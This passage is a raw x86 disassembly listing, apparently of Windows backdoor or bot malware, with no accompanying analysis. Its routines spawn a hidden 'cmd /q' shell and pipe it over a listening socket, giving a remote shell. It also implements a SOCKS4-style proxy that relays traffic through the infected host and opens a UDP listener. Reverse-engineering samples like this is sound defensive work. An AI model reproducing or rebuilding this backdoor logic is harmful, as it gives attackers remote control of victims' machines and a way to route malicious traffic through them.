		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_410EB1
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434ABC


loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_434A94
		call	sub_4151AC


loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi	; CloseHandle


loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi	; CloseHandle


loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4270F4	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_42706C	; CreateProcessA
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E578[eax], ecx
		call	dword_427068	; CloseHandle
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B3C
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB684	; send
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434B7C
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB64C	; recv
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		call	dword_427128	; GenerateConsoleCtrlEvent
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB684	; send
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4270E0	; WriteFile
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111CD	proc near		; DATA XREF: sub_401ACD+2C07o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4CB634	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CB6B4	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43E57C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CB660	; bind
		test	eax, eax
		jnz	loc_41136F
		push	0Ah
		push	edi
		call	dword_4CB65C	; listen
		test	eax, eax
		jnz	loc_41136F
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42BF84
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4112A8
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409A72
		add	esp, 14h


loc_4112A8:				; CODE XREF: sub_4111CD+B9j
					; sub_4111CD+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CB6C8	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_434C28
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43E574[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4113D2
		push	esi
		push	esi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E584[ecx], eax
		jz	short loc_41134F


loc_41133C:				; CODE XREF: sub_4111CD+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4112A8
		push	5
		call	dword_427078	; Sleep
		jmp	short loc_41133C
; ---------------------------------------------------------------------------


loc_41134F:				; CODE XREF: sub_4111CD+16Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_434BEC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4112A8
; ---------------------------------------------------------------------------


loc_41136F:				; CODE XREF: sub_4111CD+7Bj
					; sub_4111CD+8Cj
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_434BB8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4113B2
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409A72
		add	esp, 14h


loc_4113B2:				; CODE XREF: sub_4111CD+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_3C]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4111CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113D2	proc near		; DATA XREF: sub_4111CD+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43E57C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CB61C	; select
		test	eax, eax
		jnz	short loc_411453
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411453:				; CODE XREF: sub_4113D2+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CB64C	; recv
		test	eax, eax
		jg	short loc_411484
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411484:				; CODE XREF: sub_4113D2+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_41167E
		cmp	[ebp+var_4CF], 1
		jnz	loc_41167E
		cmp	[ebp+var_44], bl
		jz	short loc_41151A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41151A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_434CF0
		call	sub_415220
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB684	; send
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_41151A:				; CODE XREF: sub_4113D2+CFj
					; sub_4113D2+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41B590
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CB6B4	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4115B2
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset dword_434CB0
		call	sub_415220
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41B590
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB684	; send
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_4115B2:				; CODE XREF: sub_4113D2+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411621
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset dword_434C6C
		call	sub_415220
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41B590
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB684	; send
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411621:				; CODE XREF: sub_4113D2+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CB684	; send
		push	dword ptr [esi]
		push	edi
		call	sub_411696
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_41167E:				; CODE XREF: sub_4113D2+B9j
					; sub_4113D2+C6j
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
sub_4113D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411696	proc near		; CODE XREF: sub_4113D2+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: sub_411696+C5j
					; sub_411696+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4116C4:				; CODE XREF: sub_411696+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: sub_411696+33j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4116E9:				; CODE XREF: sub_411696+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB61C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CB520	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB64C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: sub_411696+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB520	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: sub_411696+9Aj
					; sub_411696+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411696	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411796	proc near		; CODE XREF: sub_411796:loc_411C07p
					; DATA XREF: sub_401ACD+210Do ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CB6B4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411836
		push	190h
		call	dword_427078	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411816
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409A72
		add	esp, 14h


loc_411816:				; CODE XREF: sub_411796+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AC
		push	[ebp+var_168]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411836:				; CODE XREF: sub_411796+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CB614	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CB614	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43E57C[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CB634	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CB660	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4118C0
		push	1388h
		call	dword_427078	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_411C07
; ---------------------------------------------------------------------------


loc_4118C0:				; CODE XREF: sub_411796+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_411926
		push	190h
		call	dword_427078	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409A72
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_4151AC
		push	[ebp+var_168]
		call	sub_40B412
		add	esp, 1Ch
		push	ebx
		call	dword_4270CC	; ExitThread


loc_411926:				; CODE XREF: sub_411796+142j
					; sub_411796+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_411BCA
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CB61C	; select
		test	eax, eax
		jle	loc_411BBE
		mov	al, byte_43D7E8
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CB60C	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
